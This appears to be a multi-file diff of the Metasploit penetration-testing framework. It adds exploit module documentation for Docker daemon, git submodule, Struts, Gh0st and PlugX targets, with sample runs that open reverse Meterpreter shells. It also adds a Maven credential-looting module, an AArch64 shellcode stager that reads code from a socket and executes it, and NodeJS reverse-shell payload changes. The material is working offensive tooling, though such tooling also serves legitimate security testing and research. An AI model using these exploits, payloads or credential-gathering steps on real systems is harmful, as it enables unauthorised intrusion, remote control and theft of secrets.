Any system exposing the Cisco Smart Install (SMI) protocol, which typically runs on TCP port 4786.
## Verification Steps
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
3. Do: ```run```
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
## Scenarios
```
msf auxiliary(cisco_smart_install) > run
[*] Scanned 57 of 512 hosts (11% complete)
[*] Scanned 105 of 512 hosts (20% complete)
[*] Scanned 157 of 512 hosts (30% complete)
[*] Scanned 212 of 512 hosts (41% complete)
[*] Scanned 256 of 512 hosts (50% complete)
[*] Scanned 310 of 512 hosts (60% complete)
[*] Scanned 368 of 512 hosts (71% complete)
[*] Scanned 413 of 512 hosts (80% complete)
[*] Scanned 466 of 512 hosts (91% complete)
[+] a.b.c.d:4786 - Fingerprinted the Cisco Smart Install protocol
[*] Scanned 512 of 512 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,59 @@
## Description
This module will attempt to initiate a TCP/IP connection with ports on the victim machine. It is this done by sending a SYN packet, and if victim replies with a SYN/ACK packet
that means the port is open. Then the attacker sends a RST packet, and as a result the victim's machine assumes that there is a communication error.
The attacker now knows the state of port without a full tcp connection. Major benefit of TCP SYN scan is that most logging applications do not log the TCP/RST by default.
## Options
**PORTS**
This is the list of TCP ports to test on each host.
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
options is to scan `1-10000` ports.
**TIMEOUT**
Maximum time to wait for a response. The default value is 500 milliseconds.
**VERBOSE**
Gives detailed message about the scan of all the ports. It also shows the
ports that were closed.
## Verification Steps
1. Do: `use auxiliary/scanner/portscan/syn`
2. Do: `set RHOSTS [IP]`
3. Do: `set PORTS [PORTS]`
4. Do: `run`
5. If any of the TCP ports were open they will be discovered, status will be printed indicating as such.
## Scenarios
### Metaspliotable 2
```
msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.45.159
RHOSTS => 192.168.45.159
msf auxiliary(syn) > set PORTS 1-10000
PORTS => 1-10000
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.45.159:22
[*] TCP OPEN 192.168.45.159:23
[*] TCP OPEN 192.168.45.159:111
[*] TCP OPEN 192.168.45.159:445
[*] TCP OPEN 192.168.45.159:512
[*] TCP OPEN 192.168.45.159:513
[*] TCP OPEN 192.168.45.159:1099
[*] TCP OPEN 192.168.45.159:2121
[*] TCP OPEN 192.168.45.159:3306
[*] TCP OPEN 192.168.45.159:3632
[*] TCP OPEN 192.168.45.159:6000
[*] TCP OPEN 192.168.45.159:6697
[*] TCP OPEN 192.168.45.159:8009
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -14,7 +14,7 @@
5. Do: `run`
6. You will hopefully see something similar to, followed by a session:
````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
```[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
## Options
@@ -187,7 +187,7 @@ finish
## Scenarios
Just a standard run.
```
msf > use exploit/linux/http/centreon_useralias_exec
msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
@@ -0,0 +1,131 @@
# Vulnerable Application
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
## Docker Engine
By default, Docker runs via a non-networked unix socket. It can also
optionally communicate using a tcp socket.
> Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with access
to that port has full Docker access; so it is not advisable on an open
network. -- [from docs.docker.com][1]
This module was tested with Debian 9 and CentOS 7 as the host operating
system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
### Install Debian 9
First [install Debian 9][2] with default task selection. This includes
the "*standard system utilities*".
### Install Docker
Then install a supported version of [Docker on Debian system][3].
```bash
# TL;DR
apt-get remove docker docker-engine
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
apt-key fingerprint 0EBFCD88
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
apt-get update
apt-get install docker-ce
docker run hello-world
```
### Activate unprotected tcp socket
Once Docker is installed, customize the Docker daemon options and add
the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
settings from `/lib/systemd/system/docker.service` with a new file
`/etc/systemd/system/docker.service`.
Further information: [docker systemd][4] and [docker daemon options][5].
```bash
# TL;DR
echo "[Service]
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
systemctl daemon-reload
systemctl restart docker
curl http://127.0.0.1:2375/_ping ; echo
OK
```
### Mitigation
[Disable][5] or [protect][6] the Docker tcp socket.
# Exploitation
This module is designed for the attacker to leverage, creation of a
Docker container with out authentication through the Docker tcp socket
to gain root access to the hosting server of the Docker container.
## Options
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
## Steps to exploit with module
- [ ] Start msfconsole
- [ ] use exploit/linux/http/docker_daemon_tcp
- [ ] Set the options appropriately and set VERBOSE to true
- [ ] Verify it creates a Docker container and it successfully runs
- [ ] After a minute a session should be opened from the Docker server
## Example Output
```
msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true
VERBOSE => true
msf exploit(docker_daemon_tcp) > check
[+] 192.168.66.23:2375 The target is vulnerable.
msf exploit(docker_daemon_tcp) > run
[*] Started reverse TCP handler on 192.168.66.10:4444
[*] Check if images exist on the target host
[*] Image is not available on the target host
[*] Trying to pulling image from docker registry, this may take a while
[*] Setting container json request variables
[*] Creating the docker container command
[*] The docker container is created, waiting for deploy
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it
[*] Sending stage (40411 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo
Computer : debian
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
[4]:https://docs.docker.com/engine/admin/systemd/
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
[6]:https://docs.docker.com/engine/security/https/
@@ -56,7 +56,7 @@ dns-nameservers 8.8.8.8
1. Install the software as documented above
2. Start `msfconsole`
3. `use exploit/linux/http/logsign_exec`
4. `set rhost 12.0.0.10
4. `set rhost 12.0.0.10`
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
7. `set LHOST 12.0.0.1`
8. `check` and validate that you are seeing following output.
@@ -0,0 +1,62 @@
## Vulnerable Application
Git can be installed on a variety of operating systems, however
newer versions may contain the patch for this vulnerability.
On OSX it can be installed with the XCode command line tools:
```xcode-select --install```
On Linux it can be installed with apt:
```sudo apt-get update && sudo apt-get install git```
You can check the version with ```git --version```.
The fix is included in the following version:
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/git_submodule_command_exec```
1. Do: ```set SRVHOST [local host]```
1. Do: ```set LHOST [local host]```
1. Do: ```exploit```
1. Clone the malicious Git URI and its submodules
1. You should get a shell
## Options
**GIT_URI**
This is the URI the git repository will be hosted from (defaults to random).
**GIT_SUBMODULE**
This is the URI of the submodule within the git repository (defaults to random).
The url of this submodule, when cloned, will execute the payload.
## Scenarios
Example usage against a macOS Sierra x64 bit target running git version 2.10.1
```
msf > use exploit/multi/http/git_submodule_command_exec
msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.1:4444
msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
***
Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
***
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
```
@@ -0,0 +1,47 @@
`struts2_rest_xstream` is a module that exploits Apache Struts 2's REST plugin, using the XStream handler to deserialise XML requests perform arbitrary code execution.
## Vulnerable Application
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12
You can download these versions here with any version of Apache Tomcat:
http://archive.apache.org/dist/struts/
You will also need to install a Struts 2 showcase application, which can be found here:
https://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase
## Options
**TARGETURI**
The path to a struts application action
**VHOST**
The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional.
## Demonstration
**The Check Command**
The `struts2_rest_xstream` module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
```
set VERBOSE true
set RHOST [IP]
set TARGETURI [path to the Struts app with an action]
```
When the module is in verbose mode, the `check` command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this:
```
msf exploit(struts2_rest_xstream) > check
[+] 10.1.11.11:8080 The target appears to be vulnerable.
```
**Exploiting the Host**
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
@@ -17,7 +17,7 @@ The module includes an option named UsePostHTML which is turned off by default.
1. Start msfconsole
2. Do: ```use exploit/windows/browser/firefox_smil_uaf```
3. Do: ```set payload [PREFERRED PAYLOAD]
3. Do: ```set payload [PREFERRED PAYLOAD]```
4. Do: ```set PAYLOAD [PAYLOAD NAME]```
5. Set payload options as needed
6. Do: ```run```, and have a target browse to the generated URL
@@ -0,0 +1,42 @@
## Vulnerable Application
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim.
This vulnerability can allow remote code execution in the context of the user who ran it.
A vulnerable version of the software is available here: [gh0st 3.6](https://github.com/rapid7/metasploit-framework/files/1243297/0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c.zip)
## Verification Steps
1. Run the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/gh0st`
4. Do: `set rhost [ip]`
5. Do: `exploit`
6. Get a shell
## Options
**MAGIC**
This is the 5 character magic used by the server. The default is `Gh0st`
## Scenarios
### Windows XP SP3 with gh0st 3.6
```
msf > use exploit/windows/misc/gh0st
msf exploit(gh0st) > set rhost 192.168.2.108
rhost => 192.168.2.108
msf exploit(gh0st) > exploit
[*] Started reverse TCP handler on 1.2.3.4:4444
[*] 1.2.3.1:80 - Trying target Gh0st Beta 3.6
[*] 1.2.3.1.108:80 - Spraying heap...
[*] 1.2.3.1:80 - Trying command 103...
[*] Sending stage (956991 bytes) to 1.2.3.1
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 1.2.3.1:1303) at 2017-08-26 16:53:58 -0400
[*] 1.2.3.1:80 - Server closed connection
meterpreter >
```
@@ -0,0 +1,42 @@
## Vulnerable Application
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message.
This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
A vulnerable version of the software is available here: [PlugX type 1](https://github.com/rapid7/metasploit-framework/files/1243293/9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6.zip)
## Verification
1. Run the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/plugx`
4. Do: `set rhost [ip]`
5. Do: `set target [target]`
6. Do: `exploit`
7. Click OK for the "PeDecodePacket" pop-up on the target
8. Get a shell
## Scenarios
### Windows XP SP3 with PlugX type 1
```
msf > use exploit/windows/misc/plugx
msf exploit(plugx) > set rhost 1.2.3.4
rhost => 1.2.3.4
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > set verbose true
verbose => true
msf exploit(plugx) > exploit
[*] Started reverse TCP handler on 1.2.3.99:4444
[*] 1.2.3.4:13579 - Trying target PlugX Type I...
[*] 1.2.3.4:13579 - waiting for response
[*] Sending stage (956991 bytes) to 1.2.3.4
[*] Meterpreter session 1 opened (1.2.3.99:4444 -> 1.2.3.4:1975) at 2017-09-04 19:53:07 -0400
[*] 1.2.3.4:13579 - Server closed connection
meterpreter > getuid
Server username: WINXP\user
```
@@ -30,6 +30,10 @@ PIDs to ASCII.
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
**FC**
Optional. If true forces sending flow control packets on all multibyte ISO-TP requests
## Scenarios
Given a standard vehicle ECU that is connected to can2 of the HWBridge device:
@@ -0,0 +1,64 @@
## Vulnerable Application
[Maven](https://maven.apache.org/) a software project management.
This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
<repository> tag in order to find the full realm the credentials belong to.
This module was successfully tested against:
- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type
## Verification Steps
1. Get a `shell` or `meterpreter` session on some host.
2. Do: ```use post/multi/gather/maven_creds```
3. Do: ```set SESSION [SESSION_ID]```
4. Do: ```run```
5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.
## Scenarios
### Ubuntu 14.04 and Maven version 3.0.5
```
msf post(maven_creds) > run
[*] Finding user directories
[*] Unix OS detected
[*] Looting 19 files
[*] Downloading /home/user/settings.xml
[*] Reading settings.xml file from /home/user/settings.xml
[*] Collected the following credentials:
[*] Id: server-nexus-dev
[*] Username: deploynexus-dev
[*] Password: password-dev
[*] Try to find url from id...
[*] No url found, id will be set as realm
[*] Collected the following credentials:
[*] Id: server-nexus-int
[*] Username: deploynexus-int
[*] Password: password-int
[*] Try to find url from id...
[*] Found url in mirror : http://www.myhost.com/int
[*] Collected the following credentials:
[*] Id: server-nexus-prd
[*] Username: deploynexus-prd
[*] Password: password-prd
[*] Try to find url from id...
[*] Found url in repository : http://www.myhost.com/prd
msf post(maven_creds) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
deploynexus-dev password-dev server-nexus-dev Password
deploynexus-int password-int http://www.myhost.com/int Password
deploynexus-prd password-prd http://www.myhost.com/prd Password
+2 -2
View File
@@ -1,2 +1,2 @@
Meterpreter source code has moved to its own repository, hosted at
https://github.com/rapid7/meterpreter
Meterpreter source code is part of the metasploit-payloads repository, hosted at
https://github.com/rapid7/metasploit-payloads
+98
View File
@@ -0,0 +1,98 @@
.equ SYS_READ, 0x3f
.equ SYS_MMAP, 0xde
.equ SYS_EXIT, 0x5d
start:
adr x2, size
ldr w2, [x2]
mov x10, x2
/* Page-align, assume <4GB */
lsr x2, x2, #12
add x2, x2, #1
lsl x2, x2, #12
/* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
mov x0, xzr
mov x1, x2
mov x2, #7
mov x3, #34
mov x4, xzr
mov x5, xzr
mov x8, SYS_MMAP
svc 0
/* Grab the saved size, save the address */
mov x4, x10
/* Save the memory address */
mov x3, x0
mov x10, x0
read_loop:
/* read(sockfd, buf='x3', nbytes='x4') */
mov x0, x12
mov x1, x3
mov x2, x4
mov x8, SYS_READ
svc 0
cbz w0, failed
add x3, x3, x0
subs x4, x4, x0
bne read_loop
/* add entry_offset */
adr x0, entry
ldr x0, [x0]
add x0, x0, x10
mov x14, x0
/* set up the initial stack */
mov x0, sp
and sp, x0, #-16
add sp, sp, #(16 * 6)
/* argc = 2, argv[0] = 'm' */
mov x0, #2
mov x1, #109
str x1, [sp]
mov x1, sp
mov x2, x12
mov x3, 0
mov x4, 0
mov x5, #7 /* AT_BASE */
mov x6, x10
mov x7, #6 /* AT_PAGESZ */
mov x8, #0x1000
mov x9, #25 /* AT_RANDOM */
mov x10, x10
mov x11, #0 /* AT_NULL */
stp x10, x11, [sp, #-16]!
stp x8, x9, [sp, #-16]!
stp x6, x7, [sp, #-16]!
stp x4, x5, [sp, #-16]!
stp x2, x3, [sp, #-16]!
stp x0, x1, [sp, #-16]!
mov x29, #0
mov x30, #0
br x14
failed:
mov x0, 0
mov x8, SYS_EXIT
svc 0
.balign 16
size:
.word 0
.word 0
entry:
.word 0
.word 0
@@ -37,9 +37,10 @@ start:
mov x2, #4
mov x8, SYS_READ
svc 0
cbz w0, failed
cmn x0, #0x1
beq failed
ldr x2, [sp,#0]
ldr w2, [sp,#0]
/* Page-align, assume <4GB */
lsr x2, x2, #12
@@ -53,12 +54,13 @@ start:
mov x3, #34
mov x4, xzr
mov x5, xzr
/* call mmap() */
movi x8, SYS_MMAP
mov x8, SYS_MMAP
svc 0
cmn x0, #0x1
beq failed
/* Grab the saved size, save the address */
ldr x4, [sp]
ldr w4, [sp]
/* Save the memory address */
str x0, [sp]
@@ -73,13 +75,15 @@ read_loop:
mov x2, x4
mov x8, SYS_READ
svc 0
cmn x0, #0x1
beq failed
add x3, x3, x0
subs x4, x4, x0
bne read_loop
/* Go to shellcode */
ldr x30, [sp]
ret
ldr x0, [sp]
blr x0
failed:
mov x0, 0
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.16.2"
VERSION = "4.16.7"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+3 -3
View File
@@ -582,7 +582,7 @@ class ReadableText
row << 'N'
end
if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
if session.exploit_datastore && session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
row << " (#{session.exploit_datastore['LURI']})"
else
row << '?'
@@ -622,7 +622,7 @@ class ReadableText
sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
sess_luri = session.exploit_datastore['LURI'] || ""
sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
sess_enc = false
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
sess_enc = true
@@ -655,7 +655,7 @@ class ReadableText
out << " UUID: #{sess_uuid}\n"
out << " CheckIn: #{sess_checkin}\n"
out << " Registered: #{sess_registration}\n"
unless sess_luri.empty?
unless (sess_luri || '').empty?
out << " LURI: #{sess_luri}\n"
end
+4
View File
@@ -196,6 +196,10 @@ class HWBridge < Rex::Post::HWBridge::Client
attr_accessor :console # :nodoc:
attr_accessor :alive # :nodoc:
attr_accessor :api_version
attr_accessor :fw_version
attr_accessor :hw_version
attr_accessor :device_name
private
attr_accessor :rstream # :nodoc:
+84 -2
View File
@@ -40,6 +40,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
true
end
def tunnel_to_s
if self.pivot_session
"Pivot via [#{self.pivot_session.tunnel_to_s}]"
else
super
end
end
#
# Initializes a meterpreter session instance using the supplied rstream
# that is to be used as the client's connection to the server.
@@ -112,6 +120,80 @@ class Meterpreter < Rex::Post::Meterpreter::Client
end
def bootstrap(datastore = {}, handler = nil)
session = self
init_session = Proc.new do
# Configure unicode encoding before loading stdapi
session.encode_unicode = datastore['EnableUnicodeEncoding']
session.init_ui(self.user_input, self.user_output)
session.tlv_enc_key = session.core.negotiate_tlv_encryption
unless datastore['AutoVerifySession'] == false
unless session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
# Terminate the session without cleanup if it did not validate
session.skip_cleanup = true
session.kill
return nil
end
end
# always make sure that the new session has a new guid if it's not already known
guid = session.session_guid
if guid == "\x00" * 16
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
session.core.set_session_guid(guid)
session.session_guid = guid
# TODO: New statgeless session, do some account in the DB so we can track it later.
else
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
end
unless datastore['AutoLoadStdapi'] == false
session.load_stdapi
unless datastore['AutoSystemInfo'] == false
session.load_session_info
end
# only load priv on native windows
# TODO: abastrct this too, to remove windows stuff
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
session.load_priv rescue nil
end
end
# TODO: abstract this a little, perhaps a "post load" function that removes
# platform-specific stuff?
if session.platform == 'android'
session.load_android
end
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
unless datastore[key].nil? || datastore[key].empty?
args = Shellwords.shellwords(datastore[key])
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
end
end
# Process the auto-run scripts for this session
if self.respond_to?(:process_autoruns)
self.process_autoruns(datastore)
end
# Tell the handler that we have a session
handler.on_session(self) if handler
end
# Defer the session initialization to the Session Manager scheduler
framework.sessions.schedule init_session
end
##
# :category: Msf::Session::Provider::SingleCommandShell implementors
#
@@ -255,14 +337,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
#
# Terminates the session
#
def kill
def kill(reason='')
begin
cleanup_meterpreter
self.sock.close if self.sock
rescue ::Exception
end
# deregister will actually trigger another cleanup
framework.sessions.deregister(self)
framework.sessions.deregister(self, reason)
end
#
@@ -26,75 +26,6 @@ module MeterpreterOptions
], self.class)
end
#
# Once a session is created, automatically load the stdapi extension if the
# advanced option is set to true.
#
def on_session(session)
init_session = Proc.new do
# Configure unicode encoding before loading stdapi
session.encode_unicode = datastore['EnableUnicodeEncoding']
session.init_ui(self.user_input, self.user_output)
print_good("negotiating tlv encryption")
session.tlv_enc_key = session.core.negotiate_tlv_encryption
print_good("negotiated tlv encryption")
if datastore['AutoVerifySession']
if !session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
# Terminate the session without cleanup if it did not validate
session.skip_cleanup = true
session.kill
return nil
end
end
print_good("negotiated tlv encryption")
# always make sure that the new session has a new guid if it's not already known
guid = session.session_guid
if guid == '00000000-0000-0000-0000-000000000000'
guid = SecureRandom.uuid
session.core.set_session_guid(guid)
session.session_guid = guid
# TODO: New stageless session, do some account in the DB so we can track it later.
else
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
end
# Call registered on_session callbacks
super
if datastore['AutoLoadStdapi']
session.load_stdapi
if datastore['AutoSystemInfo']
session.load_session_info
end
# only load priv on native windows
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
session.load_priv rescue nil
end
end
if session.platform == 'android'
session.load_android
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
unless datastore[key].empty?
args = Shellwords.shellwords( datastore[key] )
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
end
end
end
# Defer the session initialization to the Session Manager scheduler
framework.sessions.schedule init_session
end
end
end
end
+1
View File
@@ -44,6 +44,7 @@ module Auxiliary::Login
Unable | Error | Denied | Reject |
Refuse | Close | Closing | %\ Bad |
Sorry |
^http | html |
Not\ on\ system\ console |
Enter\ username\ and\ password |
Auto\ Apply\ On |
@@ -74,7 +74,7 @@ module Msf::DBManager::Import::Nessus::XML::V2
nasl = item['nasl'].to_s
nasl_name = item['nasl_name'].to_s
port = item['port'].to_s
proto = item['proto'] || "tcp"
proto = item['proto'] ? item['proto'].downcase : "tcp"
sname = item['svc_name']
severity = item['severity']
description = item['description']
+4 -5
View File
@@ -244,11 +244,10 @@ protected
framework.sessions.register(session)
# Call the handler's on_session() method
on_session(session)
# Process the auto-run scripts for this session
if session.respond_to?('process_autoruns')
session.process_autoruns(datastore)
if session.respond_to?(:bootstrap)
session.bootstrap(datastore, self)
else
on_session(session)
end
# If there is an exploit associated with this payload, then let's notify
@@ -0,0 +1,76 @@
# -*- coding: binary -*-
require 'thread'
require 'msf/core/post_mixin'
module Msf
module Handler
###
#
# TODO: docs
#
###
module ReverseNamedPipe
include Msf::Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_named_pipe'.
#
def self.handler_type
"reverse_named_pipe"
end
#
# Returns the connection-described general handler type, in this case
# 'reverse'.
#
def self.general_handler_type
"reverse"
end
#
# Initializes the reverse handler and ads the options that are required
# for reverse named pipe payloads.
#
def initialize(info={})
super
register_options([
OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']),
OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.'])
], Msf::Handler::ReverseNamedPipe)
end
#
# Closes the listener socket if one was created.
#
def cleanup_handler
# we're just pretending to be a handler
end
# A string suitable for displaying to the user
#
# @return [String]
def human_name
"reverse named pipe"
end
#
# Starts monitoring for an inbound connection.
#
def start_handler
# we're just pretending to be a handler
end
#
# Stops monitoring for an inbound connection.
#
def stop_handler
# we're just pretending to be a handler
end
end
end
end
+14 -4
View File
@@ -18,8 +18,13 @@ module Msf::Payload::NodeJS
var server = net.createServer(function(socket) {
var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin);
util.pump(sh.stdout, socket);
util.pump(sh.stderr, socket);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
server.listen(#{datastore['LPORT']});
})();
@@ -53,8 +58,13 @@ module Msf::Payload::NodeJS
var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
})();
EOS
-2
View File
@@ -165,8 +165,6 @@ module Msf::Payload::Stager
# If the stage should be sent over the client connection that is
# established (which is the default), then go ahead and transmit it.
if (stage_over_connection?)
opts = {}
if respond_to? :include_send_uuid
if include_send_uuid
uuid_raw = conn.get_once(16, 1)
+37 -22
View File
@@ -11,31 +11,35 @@ module Msf::Payload::TransportConfig
include Msf::Payload::UUID::Options
def transport_config_reverse_tcp(opts={})
ds = opts[:datastore] || datastore
config = transport_config_bind_tcp(opts)
config[:lhost] = datastore['LHOST']
config[:lhost] = ds['LHOST']
config
end
def transport_config_reverse_ipv6_tcp(opts={})
ds = opts[:datastore] || datastore
config = transport_config_reverse_tcp(opts)
config[:scheme] = 'tcp6'
config[:scope_id] = datastore['SCOPEID']
config[:scope_id] = ds['SCOPEID']
config
end
def transport_config_bind_tcp(opts={})
ds = opts[:datastore] || datastore
{
scheme: 'tcp',
lhost: datastore['LHOST'],
lport: datastore['LPORT'].to_i
}.merge(timeout_config)
lhost: ds['LHOST'],
lport: ds['LPORT'].to_i
}.merge(timeout_config(opts))
end
def transport_config_reverse_https(opts={})
ds = opts[:datastore] || datastore
config = transport_config_reverse_http(opts)
config[:scheme] = datastore['OverrideScheme'] || 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
config[:scheme] = ds['OverrideScheme'] || 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
ds['HandlerSSLCert'])
config
end
@@ -50,27 +54,38 @@ module Msf::Payload::TransportConfig
uri = luri + generate_uri_uuid(sum, opts[:uuid])
end
ds = opts[:datastore] || datastore
{
scheme: datastore['OverrideScheme'] || 'http',
lhost: opts[:lhost] || datastore['LHOST'],
